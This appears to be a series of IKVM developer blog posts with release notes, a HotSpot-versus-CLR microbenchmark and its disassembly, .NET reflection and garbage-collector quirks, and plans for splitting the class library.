BTW, to enable defining extension methods without taking a dependency on System.Core.dll, I've defined my own copy of System.Runtime.CompilerServices.ExtensionAttribute in IKVM.Runtime.dll (it's only public during the first compilation pass, so it does not interfere with the real one in System.Core.dll if your project references both IKVM.Runtime.dll and System.Core.dll).

Changes:

  • Renamed GetEnumerator method in implicit IEnumerable implementation to work around lame bug in Xml serialization.
  • Added support for defining non-virtual instance methods in map.xml.
  • Added "Add" method to java.util.AbstractCollection to make some of the .NET magic work on Java collections.
  • Reintroduced baked TypeBuilder scrubbing hack for .NET 2.0 SP1.
  • Made core assembly detection more robust.
  • Improved ikvmc error handling for -reference option.
  • Added support for defining extension methods in the core class library assembly (without taking a System.Core.dll dependency).
  • Added the first two extension methods (Object.getClass() and Exception.printStackTrace()).
  • Optimized codegen for lcmp, fcmp<x>, dcmp<x> and shift opcodes.
  • Construct custom attribute annotation proxies directly instead of going through the trouble to encode/decode them.
  • Added support for explicitly implementing an interface method with the <override /> element in map.xml.
  • Added new utility class to enumerate maps.
  • Made java.util.AbstractMap enumerable and added Add() method to support C# 3.0 collection initialization syntax.

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

This version does not currently work with Mono.

Binaries available here: ikvmbin-0.37.2970.zip

2/19/2008 6:13:20 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, February 04, 2008

IKVM 0.36 Update 1 Release Candidate 3

I screwed up the previous release candidate build by building it on .NET .2.0. So here's a new release candidate that's built on .NET 1.1 again (and I threw in a couple of small fixes as well.)

Changes:

  • Changed version to 0.36.0.8.
  • Fixed ikvmc to support referencing assemblies that contain .NET type named java.lang.Object.
  • Improved error handling for ikvmc -reference option.

Binaries available here: ikvmbin-0.36.0.8.zip
Sources (+ binaries):ikvm-0.36.0.8.zip

2/4/2008 4:18:04 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Thursday, January 31, 2008

How to Disassemble an AtomicReferenceFieldUpdater

It's been a while since I've done an in depth investigation of a microbenchmark and the recent work I did on AtomicReferenceFieldUpdater to make it work in partial trust also has a nice performance impact. So let's investigate that.

The Microbenchmark

import java.util.concurrent.atomic.*;

class Test {
  volatile Object field;

  public static void main(String[] args) {
    AtomicReferenceFieldUpdater upd =
      AtomicReferenceFieldUpdater.newUpdater(Test.class, Object.class, "field");
    Test obj = new Test();
    for (int j = 0; j < 5; j++) {
      long start = System.currentTimeMillis();
      for (int i = 0; i < 10000000; i++)
        upd.compareAndSet(obj, null, null);
      long end = System.currentTimeMillis();
      System.out.println(end - start);
    }
  }
}

The Results

       IKVM 0.34      IKVM 0.36      IKVM 0.37      JDK 1.6
.NET 1.1 36808 41453    
.NET 2.0 / x86       75647 5776 561 321
.NET 2.0 / x64   5081 512 245

The Differences

The first thing that jumps out is that the IKVM 0.34 results show that .NET 2.0 reflection is much slower than .NET 1.1 reflection. On IKVM 0.36 the reflection implementation changed to take advantage of DynamicMethod when running on .NET 2.0, so there we see a big improvement in performance when running on .NET 2.0.

IKVM 0.37 has the new AtomicReferenceFieldUpdate optimization that no longer uses reflection (if it can figure out at compile time what to do), this again yields a big performance improvement.

Finally, HotSpot manages to beat IKVM be a factor of two. There is no difference between HotSpot client and server modes for this benchmark (on JDK 1.6).

The Compiler

Let's look at some C# pseudo code that shows what ikvmc 0.37 generates for the above benchmark:

using java.util.concurrent.atomic;
using System.Threading;

class Test {
  volatile object field;

  private sealed class __ARFU_fieldLjava/lang/Object; : AtomicReferenceFieldUpdater {
    public override bool compareAndSet(object obj, object expect, object update) {
      return expect == Interlocked.CompareExchange(ref ((Test)obj).field,
                                                   (object)update, (object)expect);
    }
    // ...other methods omitted...
  }

  static void main(string[] args) {
    AtomicReferenceFieldUpdater udp = new __ARFU_fieldLjava/lang/Object;();
    // ...rest of method omitted...
  }
}

The bytecode compiler only does this optimization if the arguments to newUpdater are constants and match up with a volatile instance reference field in the current class.

The reason this optimization only first showed up in IKVM 0.37 is that it requires the generic version of Interlocked.CompareExchange. In this particular example the non-generic version would have worked, but in the real world nearly all uses of AtomicReferenceFieldUpdater are on fields that have a more specific type than Object.

The Assembly

So why is HotSpot twice as fast? I modified the test slightly to make the generated assembly code easier to read by making it an infinite loop. Here's the x64 code for the loop:

00000000028C2690   mov          r11,qword ptr [r8+10h]
00000000028C2694   mov          r10,1026DD08h
00000000028C269E   cmp          r11,r10
00000000028C26A1   jne          00000000028C2773
00000000028C26A7   mov          r10,qword ptr [r8+20h]
00000000028C26AB   test         r10,r10
00000000028C26AE   jne          00000000028C273B
00000000028C26B4   mov          r10,qword ptr [r8+28h]
00000000028C26B8   mov          r11,r9
00000000028C26BB   add          r11,r10
00000000028C26BE   xor          eax,eax
00000000028C26C0   xor          r10d,r10d
00000000028C26C3   lock cmpxchg qword ptr [r11],r10
00000000028C26C8   sete         r12b
00000000028C26CC   movzx        r12d,r12b
00000000028C26D0   mov          r10,r11
00000000028C26D3   shr          r10,9
00000000028C26D7   mov          r11,589FF80h
00000000028C26E1   mov          byte ptr [r11+r10],0
00000000028C26E6   test         dword ptr [160000h],eax
00000000028C26EC   jmp          00000000028C2690

HotSpot did it's thing and was able to inline the virtual compareAndSet method. I'm pretty sure that HotSpot doesn't have special support for AtomicReferenceFieldUpdater, but this is simply the normal HotSpot devirtualization optimization at work. The lock cmpxchg instruction is the result of HotSpot having intrinsic support for sun.misc.Unsafe.compareAndSwapObject.

Let's go over the assembly instructions in detail:

00000000028C2690   mov          r11,qword ptr [r8+10h]
00000000028C2694   mov          r10,1026DD08h
00000000028C269E   cmp          r11,r10
00000000028C26A1   jne          00000000028C2773

This looks like a HotSpot virtual method inline guard. It's checking to make sure that the object is of the expected type (if it isn't, the inlined virtual method may not be correct anymore).

00000000028C26A7   mov          r10,qword ptr [r8+20h]
00000000028C26AB   test         r10,r10
00000000028C26AE   jne          00000000028C273B

I'm not sure. Some field in the AtomicReferenceFieldUpdater object is tested for null.

00000000028C26B4   mov          r10,qword ptr [r8+28h]

The offset to the field is loaded from the AtomicReferenceFieldUpdater object.

00000000028C26B8   mov          r11,r9

The passed in object reference is moved from r9 to r11.

00000000028C26BB   add          r11,r10

Add the field offset to the object reference. We now have the address of the memory location we want to update in r11.

00000000028C26BE   xor          eax,eax

Clear rax to represent the passed in null value of the expect argument. I'm not sure why the disassembler shows the register as eax, but this instruction clears the full 64 bit rax register.

00000000028C26C0   xor          r10d,r10d

r10 is cleared and represents the passed in null value of the update argument.

00000000028C26C3   lock cmpxchg qword ptr [r11],r10

The actual interlocked compare and exchange instruction. The qword at memory location r11 is compared with rax and if it matches r10 is written to it. Since I'm on a dual core machine, the lock prefix is applied. Locking the bus is expensive, so HotSpot omits it when running on a single core machine.

00000000028C26C8   sete         r12b
00000000028C26CC   movzx        r12d,r12b

The cmpxchg instruction sets the zero flag if it was successful. These two instruction copy the zero flag into the r12 register (it is set to 0 or 255 to represent either false or true). Since the result isn't actually used in this case, this could have been optimized away.

00000000028C26D0   mov          r10,r11
00000000028C26D3   shr          r10,9
00000000028C26D7   mov          r11,589FF80h
00000000028C26E1   mov          byte ptr [r11+r10],0

This is a little interesting. It takes the address of the field that was just (potentially) updated and shifts it to the right by 9 bits and uses that value to index a static table and clear the corresponding byte. This is a GC write barrier. The GC consults the table (known as a card table) to know what objects in older generations it needs to scan when doing a GC of a younger generation.

00000000028C26E6   test         dword ptr [160000h],eax

This seemingly useless test is part of a mechanism used by the VM to suspend the thread at this instruction (a safepoint). When the VM wants to suspend all threads (for a GC) it unmaps the safepoint polling memory page (in this case at 0x160000) and waits for all threads to suspend. Each thread running compiled Java code will eventually run this instruction and cause a page fault, inside the page fault handler it is detected that a safepoint thread suspend is requested and the thread calls the VM to suspend itself.

00000000028C26EC   jmp          00000000028C2690

Branch to the top and start over again.

The Conclusion

The .NET Framework JIT doesn't inline virtual methods and Interlocked.CompareExchange is not a JIT instrisic, so there the story is pretty straightforward. Each loop iteration calls Interlocked.CompareExchange which in turn calls the GC write barrier function. This is why HotSpot is able to beat IKVM 0.37 by a factor of two.

Of course, when you're coding in C# you can write the microbenchmark to call Interlocked.CompareExchange directly:

using System;
using System.Threading;

class Test {
  volatile object field;

  static void Main(string[] args) {
    Test obj = new Test();
    for (int j = 0; j < 5; j++) {
      int start = Environment.TickCount;
      for (int i = 0; i < 10000000; i++)
        Interlocked.CompareExchange(ref obj.field, null, null);
      int end = Environment.TickCount;
      Console.WriteLine(end - start);
    }
  }
}

This runs in 265 milliseconds which goes to show that in this case all the fancy footwork that HotSpot does can almost be matched simply by having by ref argument passing in your language. Of course, the CLR JIT isn't perfect. When you change the field type to string the running time increases to 436 milliseconds because the invocation of a generic method goes through a stub that makes sure that the method instantiation exists. Here it would probably pay to to teach the JIT about the generic methods in System.Threading.Interlocked.

1/31/2008 10:50:35 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Friday, January 25, 2008

IKVM 0.36 Update 1 Release Candidate 2

One more bug fix.

Changes:

  • Changed version to 0.36.0.7.
  • Fix bug in DynamicMethod based serialization for fields typed as ghost interfaces.

Binaries available here: ikvmbin-0.36.0.7.zip
Sources (+ binaries):ikvm-0.36.0.7.zip

The external sources are the same as the previous rc.

1/25/2008 7:38:42 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Wednesday, January 23, 2008

How To Get an Explicit Interface Implementation Method

Suppose you have a Type that you know implements IEnumerable, how do you get the GetEnumerator method?

Both the developer(s) at Microsoft and the Mono developer(s) that wrote System.Xml.Serialization managed to find the same wrong answer to this question. Here's the code from Mono, but Microsoft does somethig very similar:

MethodInfo met = type.GetMethod ("GetEnumerator", Type.EmptyTypes);
if (met == null) {
  // get private implemenation
  met = type.GetMethod ("System.Collections.IEnumerable.GetEnumerator",
                        BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Instance,
                        null, Type.EmptyTypes, null);
}

The reason this is wrong is that the name of the private method is an implementation detail of the compiler that was used to compile the code. C# happens to name the private method this way, but other languages may not.

For example, try the following VB webservice:

<%@ WebService Language="VB" Class="Service1" %>

Imports System.Collections
Imports System.Web.Services

Public Class Service1
  Inherits WebService

  <WebMethod()> Public Function HelloWorld() As Frob
    Return New Frob()
  End Function
End Class

Public Class Frob
  Implements IEnumerable

  ' Note that this method is private
  Private Function GetEnumerator() As IEnumerator Implements IEnumerable.GetEnumerator
    Return "frob".GetEnumerator()
  End Function

  Public Sub Add(ByVal obj As Object)
    Throw New NotSupportedException()
  End Sub
End Class

If you run this webservice on .NET, you'll an exception inside System.Xml.Serialization.TypeScope.GetTypeDesc(), because it expects to find a public GetEnumerator method or a private System.Collections.IEnumerable.GetEnumerator method. However, VB allows you to pick the method name (in this case simply GetEnumerator). If you make the GetEnumerator method public, the webservice will work.

The Right Way

Here's the right way to get the method:

MethodInfo getEnumerator = typeof(IEnumerable).GetMethod("GetEnumerator", Type.EmptyTypes);
InterfaceMapping map = type.GetInterfaceMap(typeof(IEnumerable));
int index = Array.IndexOf(map.InterfaceMethods, getEnumerator);
MethodInfo meth = map.TargetMethods[index];

Meta Question

Of course, the real question remains unanswered. Why do we need the MethodInfo in the first place? Wouldn't Xml serialization be better off by simply using the IEnumerable interface?

1/23/2008 7:37:35 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [8]

Monday, January 14, 2008

IKVM 0.36 Update 1 Release Candidate 1

As I've said when I released 0.36, this is a version that will be maintained for a while because it is the last version to support .NET 1.1. This means that I will strive to release updates relatively soon after bugs are reported (in the supported areas). This is the first of such update releases.

Changes:

  • Changed version to 0.36.0.6.
  • Fix for reflection bug on .NET generic nested types that caused this.
  • Fix for bug #1865922.
  • java.awt.image.Raster fix.

Binaries available here: ikvmbin-0.36.0.6.zip
Sources (+ binaries):ikvm-0.36.0.6.zip

The external sources are the same as the ones with the first 0.36 release + java.awt.image.Raster patch referenced above.

1/14/2008 6:27:59 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, January 07, 2008

New Development Snapshot

The major change is that I dropped support for .NET 1.1 and started taking advantage of .NET 2.0 specific features. The most significant result of that is that it is now possible to run (some) applications in partial trust and that IKVM.OpenJDK.ClassLibrary.dll and IKVM.Runtime.dll can be put into the GAC and called from partially trusted code. Note that if you want to put the binaries in the GAC you'll have to build your own binaries (to get them strong named) as the development snapshot binaries are not strong named.

Changes:

  • .NET 1.1 is no longer supported.
  • Removed .NET 2.0 warnings (except for the "unreachable code" ones).
  • Removed most .NET 1.1 specific code.
  • Removed conditional compilation of .NET 2.0 specific code.
  • Updated FileChannelImpl to use SafeFileHandle and GC.Add|RemoveMemoryPressure.
  • Added GC.KeepAlive to "native" methods of MappedByteBuffer.
  • Improved VFS.
  • The VFS file "lib/security/cacerts" is now dynamically generated from the .NET X509 store.
  • Implemented native methods of java.io.Console (some Win32 only).
  • Implemented support for InternalsVisibleToAttribute.
  • Moved JNI implementation into a separate assembly (IKVM.Runtime.JNI.dll) to make IKVM.Runtime.dll verifiable.
  • Made all "native" method classes internal.
  • Restructured VM <-> Library interface to take advantage of InternalsVisibleTo to remove public methods and reflection usage.
  • Added support for adding constructors in map.xml.
  • Changed <clinit> method to SmartConstructorMethodWrapper to support calling it from map.xml
  • Removed call to unnecessary call to MatchTypes (to support partial trust)
  • Ignore SecurityException in CanonicalizePath.
  • Moved some calls to methods with a LinkDemand (that fails in partial trust) to a separate methods.
  • Added stuff to map.xml to remove the need for reflection in VM / Library bootstrap.
  • Inverted IKVM.Runtime.JNI dependency in stack walking code to avoid needlessly loading the JNI assembly.
  • Fixed bug that caused nested .NET generic types to report a declaring type.
  • Added -skiperror option to ikvmstub (by Kevin Grigorenko).
  • Replaced GCHandle in java.lang.ref.Reference with WeakReference to support partial trust.
  • Added check to prevent sun.misc.Unsafe.objectFieldOffset() from working on static fields.
  • Added support for registering a delegate with a DynamicTypeWrapper that gets called after the type is baked.
  • Intrinsified AtomicReferenceFieldUpdater.newUpdater().
  • Added virtual opcode to explicitly trigger class initialization from map.xml.
  • Added accessor methods for "slot" to Method & Constructor.
  • Implemented System.setIn0, setOut0, setErr0 in map.xml.
  • Hacked sun.misc.SharedSecrets in map.xml to replace Unsafe.ensureClassInitialize() with direct calls.
  • Replaced java.nio.Bits.byteOrder() in map.xml with simple System.BitConver.IsLittleEndian based implementation.
  • Disabled DynamicMethodSupport when running in partial trust.
  • Don't trigger load of JNI assembly when "loading" a fake system library.
  • Added ikvmc -platform option.
  • Added SecurityCritical and AllowPartiallyTrustedCallers annotation to IKVM.OpenJDK.ClassLibrary.dll.
  • Added SecurityCritical and AllowPartiallyTrustedCallers attributes to IKVM.Runtime.dll.

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

Binaries available here: ikvmbin-0.37.2928.zip

1/7/2008 8:56:57 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [4]

Monday, December 31, 2007

Argh! Part 2

using System;
using
System.Runtime.InteropServices;

class
Program
{
    GCHandle handle;

    Program()
    {
        handle = GCHandle.Alloc(this, GCHandleType.WeakTrackResurrection);
    }

    ~Program()
    {
        Console.WriteLine(handle.Target != null);
    }

    static void Main()
    {
        new Program();
        GC.Collect();
        GC.WaitForPendingFinalizers();
    }
}
 

Judging from the comments, many people had trouble understanding the previous code snippet. The above code is equivalent (except that this actually works on .NET 2.0). Maybe this will help clarify.

12/31/2007 10:18:31 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Argh!

using System;

class
Program
{
    WeakReference wr;

    Program()
    {
        wr = new WeakReference(this, true);
        GC.SuppressFinalize(wr);
    }

    ~Program()
    {
        Console.WriteLine(wr.IsAlive);
    }

    static void Main()
    {
        new Program();
        GC.Collect();
        GC.WaitForPendingFinalizers();
    }
}
 

What should the output of this program be? On .NET 1.1 it's True (as expected), but on .NET 2.0 it is False. On .NET 2.0 the GC has special support for finalizing WeakReferences, but it fails to take into account whether GC.SuppressFinalize() has been called (and this may be by design, but it's still broken).

This may look academic, but it is actually a real issue in the implementation of ReferenceQueues on IKVM. Previously I used GCHandle to keep a weak reference back to the reference object that was being monitored, but because that requires full trust, I changed the code to use WeakReference, but that broke it because of the above mentioned behavior. The work around is easy, but ugly and inefficient, simply keep these weak references in a global hashtable to make sure they are always strongly reachable.

.NET really needs a better mechanism for doing post-mortem cleanup (i.e. something like java.lang.ref.ReferenceQueue).

P.S. By my new policy, I won't be filing a bug with Microsoft since they have amply demonstrated not to care about external bug reports.

12/31/2007 2:33:49 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [6]

Friday, December 28, 2007

Hello World

Five and a half years ago, Hello World ran for the first time... Now, for the first time a statically compiled HelloWorld.exe runs in partial trust (LocalIntranet zone in this case). Here's an exciting screenshot:

C:\sandbox>HelloWorld.exe
Hello World

C:\sandbox>

Obviously this doesn't mean things are done, but hopefully it won't take another five years ;-)

12/28/2007 4:13:47 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, December 10, 2007

IKVM 0.36 Released

After what feels like an eternity, I've finally released IKVM 0.36. The binaries are identical to the ones in rc6.

Release Notes

This document lists the known issues and incompatibilities.

Runtime

  • Code unloading (aka class GC) is not supported.
  • In Java static initializers can deadlock, on .NET some threads can see uninitialized state in cases where deadlock would occur on the JVM.
  • JNI
    • Only supported in the default AppDomain.
    • Only the JNICALL calling convention is supported! (On Windows, HotSpot appears to also support the cdecl calling convention).
    • Cannot call string contructors on already existing string instances
    • A few limitations in Invocation API support
      • The Invocation API is only supported when running on .NET.
      • JNI_CreateJavaVM: init options "-verbose[:class|:gc|:jni]", "vfprintf", "exit" and "abort" are not implemented. The JDK 1.1 version of JavaVMInitArgs isn't supported.
      • JNI_GetDefaultJavaVMInitArgs not implemented
      • JNI_GetCreatedJavaVMs only returns the JavaVM if the VM was started through JNI or a JNI call that retrieves the JavaVM has already occurred.
      • DestroyJVM is only partially implemented (it waits until there are no more non-daemon Java threads and then returns JNI_ERR).
      • DetachCurrentThread doesn't release monitors held by the thread.
    • Native libraries are never unloaded (because code unloading is not supported).
  • The JVM allows any reference type to be passed where an interface reference is expected (and to store any reference type in an interface reference type field), on IKVM this results in an IncompatibleClassChangeError.
  • monitorenter / monitorexit cannot be used on unitialized this reference.
  • Floating point is not fully spec compliant.
  • Volatile fields are not marked with modopt(volatile).
  • A method returning a boolean that returns an integer other than 0 or 1 behaves differently (this also applies to byte/char/short and for method parameters).
  • Synchronized blocks are not async exception safe.
  • Ghost arrays cannot be distinguished from object arrays (isinstance and casting don't differentiate and ArrayStoreException isn't thrown).
  • Class loading is more eager than on the reference VM.
  • Object instances don't get created at new, but only at the invokespecial of the constructor. This causes observable differences with classes that have a finalizer when the constructor arg evaluation throws an exception [with the JSR-133 change in finalization, this is no longer a spec issue, but since the reference VM doesn't correctly implement JSR-133 it still is an implementation difference].
  • Interface implementation methods are never really final (interface can be reimplemented by .NET subclasses).
  • JSR-133 finalization spec change is not implemented. The JSR-133 changes dictate that an object should not be finalized unless the Object constructor has run successfully.

Static Compiler (ikvmc)

  • Some subtle differences with ikvmc compiled code for public members inherited from non-public base classes (so called "access stubs"). Because the access stub lives in a derived class, when accessing a member in a base class, the derived cctor will be run whereas java (and ikvm) only runs the base cctor.
  • Try blocks around base class ctor invocation result in unverifiable code (no known compilers produce this type of code).
  • Try/catch blocks before base class ctor invocation result in unverifiable code (this actually happens with the Eclipse compiler when you pass a class literal to the base class ctor and compile with -target 1.4).
  • Only code compiled in a single assembly fully obeys the JLS binary compability rules.
  • An assembly can only contain one resource with a particular name.
  • Passing incorrect command line options to ikvmc may result in an exception rather than a proper error messages.

Class Library

Most class library code is based on OpenJDK build 13. Below is a list of divergences and IKVM specific implementation notes.

com.sun.security.auth.module        Not implemented.
java.applet GNU Classpath implementation. Not implemented.
java.awt GNU Classpath implementation with partial System.Windows.Forms based back-end. Not supported.
java.io.Console Not implemented.
java.lang.instrument Not implemented.
java.lang.management Not implemented.
java.net No IPv6 support implemented.
java.net.ProxySelector Getting the default system proxy for a URL is not implemented.
java.security Not supported.
java.text.Bidi GNU Classpath implementation. Not supported.
java.util.zip Partially based on GNU Classpath implementation.
javax.crypto IcedTea implementation. Not supported.
javax.imageio.plugins.jpeg Not implemented.
javax.management Not implemented.
javax.print Not implemented.
javax.script Not implemented.
javax.security Not supported.
javax.smartcardio Not implemented.
javax.sound Not implemented.
javax.swing GNU Classpath implementation. Not supported.
javax.tools Not implemented.
org.ietfs.jgss Not implemented.
sun.jdbc.odbc Not implemented.
sun.net.www.content.audio Audio content handlers not implemented.
sun.net.www.content.image Image content handlers not implemented.

The entire public API is available, so "Not implemented." for javax.print, for example, means that the API is there but there is no back-end to provide the actual printing support. "Not supported." means that the code is there and probably works at least somewhat, but that I'm less likely to fix bugs reported in these areas.

In addition to the issues listed above, the extended charset providers are not included (the ones in charsets.jar in the JRE).

Specific API notes:

  • java.lang.Thread.stop(Throwable t) doesn't support throwing arbitrary exceptions on other threads (only java.lang.ThreadDeath).
  • java.lang.Thread.holdsLock(Object o) causes a spurious notify on the object (this is allowed by the J2SE 5.0 spec).
  • java.lang.String.intern() strings are never garbage collected.
  • Weak/soft references and reference queues are inefficient and do not fully implement the required semantics.
  • Threads started outside of Java aren't "visible" (e.g. in ThreadGroup.enumerate()) until they first call Thread.currentThread().
  • java.lang.Thread.getState() returns WAITING or TIMED_WAITING instead of BLOCKING when we're inside Object.wait() and blocking to re-acquire the monitor.
  • java.io.File.getCanonicalPath() is broken on Mono on Windows.
  • java.nio.channel.FileChannel.lock() shared locks are only supported on Windows NT derived operating systems.
  • java.lang.ref.SoftReference: Soft references are not guaranteed to be cleared before an OutOfMemoryError is thrown.
  • java.lang.SecurityManager: Deprecated methods not implemented: classDepth(String), inClass(String), classLoaderDepth(), currentLoadedClass(), currentClassLoader(), inClassLoader()

Supported Platforms

This release has been tested on the following CLI implementations / platforms:

CLI Implementation       Architecture      Operating System
Mono 1.2.5 x86* Windows
Mono 1.2.5 x86* Linux
.NET 1.1 x86 Windows
.NET 2.0 x86 Windows
.NET 2.0 x64 Windows
.NET 2.0 SP1 x86 Windows
.NET 2.0 SP1 x64 Windows

* Running on Mono has only been tested on x86, but Mono includes the native (platform specific) parts of IKVM, so any platform where Mono runs should in theory be able to run this IKVM release.

Partial Trust

Partial trust is not supported. The IKVM class library and runtime require Full Trust to be able to run.
 

12/10/2007 8:50:56 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Friday, December 07, 2007

Mono Summit 2007

Last week I attended the Mono Summit 2007 in Madrid. It was a very productive three days and very much fun as well! I got to meet Zoltan, Wade, Paolo, Massi and Dick for the first time and enjoyed seeing Jb (of Cecil and monolinker fame), Rodrigo (of Boo fame) and Miguel again.

Jb created a small repro of the monolinker bug that caused it too fail on IKVM.OpenJDK.ClassLibrary.dll, so hopefully that'll be fixed soon. I also talked to him about using Cecil in ikvmc to free me from the shackles of Reflection.Emit. This is a major chunk of work, but I think it will be worth it.

Zoltan found some weirdness in my usage of DynamicMethod (the DynamicMethod signature for the constructor reflection helper had an extra unused argument, the CLR didn't mind because it matched up with the unused this reference, but Mono didn't like it). Unfortunately, fixing this didn't resolve the problems I had with DynamicMethod on Mono 1.2.5 and 1.2.6, so fast reflection will remain disabled while running on Mono for the time being (on Zoltan's current code base it did work, so when the Mono release after 1.2.6 is out I'll be able to enable it).

Rodrigo did a very interesting and entertaining presentation on Boo. I must admit that I haven't seriously played with Boo yet, but it looks extremely interesting. It is a statically typed language that also supports more dynamic typing (like Erik Meijer's "Static Typing Where Possible, Dynamic Typing When Needed"). It also supports some very cool meta programming capabilities. I definitely need to check this out and I recommend you do too.

Paolo and I had a tentative discussion about adding Java bytecode support to the Mono JIT, so that the expensive IKVM just-in-time bytecode to IL conversion can be skipped when running Java code in dynamic mode on Mono. This would be really nice to have, but there aren't any specific plans yet, so don't hold your breath yet.

Finally, I tried to convice Jim Purbrick (of SecondLife, who was there because he wants to use Mono to speed up LSL and possibly support other languages) that he really should support Java as well ;-)

12/7/2007 7:42:20 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, December 04, 2007

IKVM 0.36 Release Candidate 6

This time I really expect this to be the final 0.36 release candidate :-)

The list of changes is relative to the 0.36 rc5, only the DynamicMethod constructor fix is new relative to the 0.37 development snapshot.

Changes:

  • Implemented Custom Assembly Class Loaders.
  • Fixed URL.equals() for "ikvmres:" urls.
  • Fixed findResources() bug that caused resources in core assembly to show up twice if a .NET assembly explicitly referenced the core assembly.
  • Added check to prevent defineClass() on an assembly class loader from defining a class that already exists in the assembly.
  • Fixed Class.getModifiers() to mask out ACC_SUPER bit.
  • Fixed a bug in the DynamicMethod based reflection implementation that caused a NullPointerException when generating the setter for a final instance field for code that isn't compiled with -strictfinalfieldsemantics.
  • Fix to make sure that a ghost interface method call always goes thru the target reference wrapping path. (Calling java.lang.CharSequence methods through an interface that extends java.lang.CharSequence would generate incorrect code.)
  • Fixed ghost interface array casting to generate verifiable code.
  • Fixed FileChannelImpl to close the FileDescriptor after releasing the file locks.
  • Fixed DynamicMethod based constructor reflection invocation to have method match the delegate signature.

Binaries available here:ikvmbin-0.36.0.5.zip.

Sources (+ binaries):ikvm-0.36.0.5.zip

External sources (haven't changed since rc1):classpath-0.95-stripped.zip,openjdk-b13-stripped.zip

12/4/2007 8:55:12 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, November 19, 2007

Splitting the Class Library Assembly

In a comment to the previous post Peter asks:

Do you plan to split the classpath assembly into multiple smaller assemblies at some point? The OpenJDK-based one is getting *huge* and when you only use a small subset of JDK (as I think most people who don't use IKVM as an alternative to JRE, but use it so that they can embed Java code in .NET app, do), it's pretty high overhead...

Cyprien Noel posted a feature request:

Would it be possible to split the dll with the jvm classes in 2 or more
parts ? E.g. a basic dll with java.lang, util, math, io, net, text, and
another dll with the other features. Thanks

Others have asked similar things. I'm very sympathetic to this request, because the bloat of the Java API has annoyed me ever since JDK 1.2.

Unfortunately this is a very hard problem without upstream support. Since Sun has never had any incentive to reduce dependencies inside the class library (because up until now it has always shipped as a single file), there is a pretty tight coupling between many packages in the Java class library. For example, just the static dependencies of java.lang.Object amount to 1893 classes in the IKVM 0.36 release codebase. Note that these are just the static dependencies and this set of classes won't even allow you to run "Hello World". However, adding a few more classes (to a total of 2676) gives a, what appears to be, workable subset and yields an assembly of approx. 5.5MB.

That looks like a great start, doesn't it? However, the problem is that it isn't at all clear what this assembly supports. For example, it supports the http protocol, but not the https protocol. Simply adding the https protocol handler drags in an additional 1895 classes!

Suppose I put the https support in a separate assembly and when you test your application you only test with http URLs so everything works with just the core assembly and you decide to ship only the core assembly. Now a user of your code tries an https URL and it doesn't work. This may seem like an obvious thing, but there are probably other scenarios that aren't as obvious.

The key point here is that I have no idea of most of the inner workings of the class library, so it would be difficult (or extremely time consuming) for me to figure out the best way to split the classes and to give any guidance as to when you'd need to ship what assembly.

Why I'm Probably Still Going To Do It

There is another argument for splitting the class library assembly: Performance. For example, depending on the scenario, having several smaller assemblies that are demand loaded may be more efficient than a single huge assembly. Especially because the assemblies are strong named and the CLR verifies the assembly hash when it loads the assembly (if the assembly isn't in the GAC).

When?

As is usually the answer: I don't know. It'll be done when it's done. In the meantime you can always download the sources and build your own subset class library assembly :-)

11/19/2007 8:51:30 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [4]

Thursday, November 15, 2007

0.36 Release Plan

Ben asked about the 0.36 release yesterday. Here's the situation: There will be at least one more 0.36 release candidate that includes the new custom assembly class loader support and the fixes I've done since rc5. I'm currently waiting for some test results from the sponsor of the 0.36 release, to make sure that everything that needs to be fixed is fixed before release.

11/15/2007 8:12:29 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Tuesday, November 13, 2007

Development Snapshot Update

Three more fixes and a complete set of binaries this time.

Changes:

  • Fix to make sure that a ghost interface method call always goes thru the target reference wrapping path. (Calling java.lang.CharSequence methods through an interface that extends java.lang.CharSequence would generate incorrect code.)
  • Fixed ghost interface array casting to generate verifiable code.
  • Fixed FileChannelImpl to close the FileDescriptor after releasing the file locks.

Binaries available here: ikvmbin-0.37.2873.zip.

Update: Fixed the link.

11/13/2007 8:19:28 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Friday, November 02, 2007

Development Snapshot Update

Two fixes. This time I'm only releasing an updated version of IKVM.Runtime.dll as that is all that changed.

Changes:

  • AppDomainAssemblyClassLoader now skips AssemblyBuilders. Previous version would cause problems if any dynamically generated assemblies were present in the AppDomain.
  • Fixed a bug in the DynamicMethod based reflection implementation that caused a NullPointerException when generating the setter for a final instance field for code that isn't compiled with -strictfinalfieldsemantics.

Update available here: ikvmbin-upd-0.37.2862.zip.

11/2/2007 8:02:15 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Friday, October 26, 2007

Writing a Custom Assembly Class Loader

A new development snapshot. It's now possible to write your own custom assembly class loader. This is the recommended pattern:

class MyCustomClassLoader extends ClassLoader
{
  MyCustomClassLoader(cli.System.Reflection.Assembly asm)
  {
    super(new ikvm.runtime.AssemblyClassLoader(asm));
  }

  protected Class findClass(String name)
  {
    // TODO: forward call to other class loader or load class and call defineClass()
  }

  protected URL findResource(String name)
  {
    // TODO: forward call to other class loader or find resource somewhere
  }

  protected Enumeration findResources(String name)
  {
    // TODO: forward call to other class loader or find resources somewhere
  } 
}

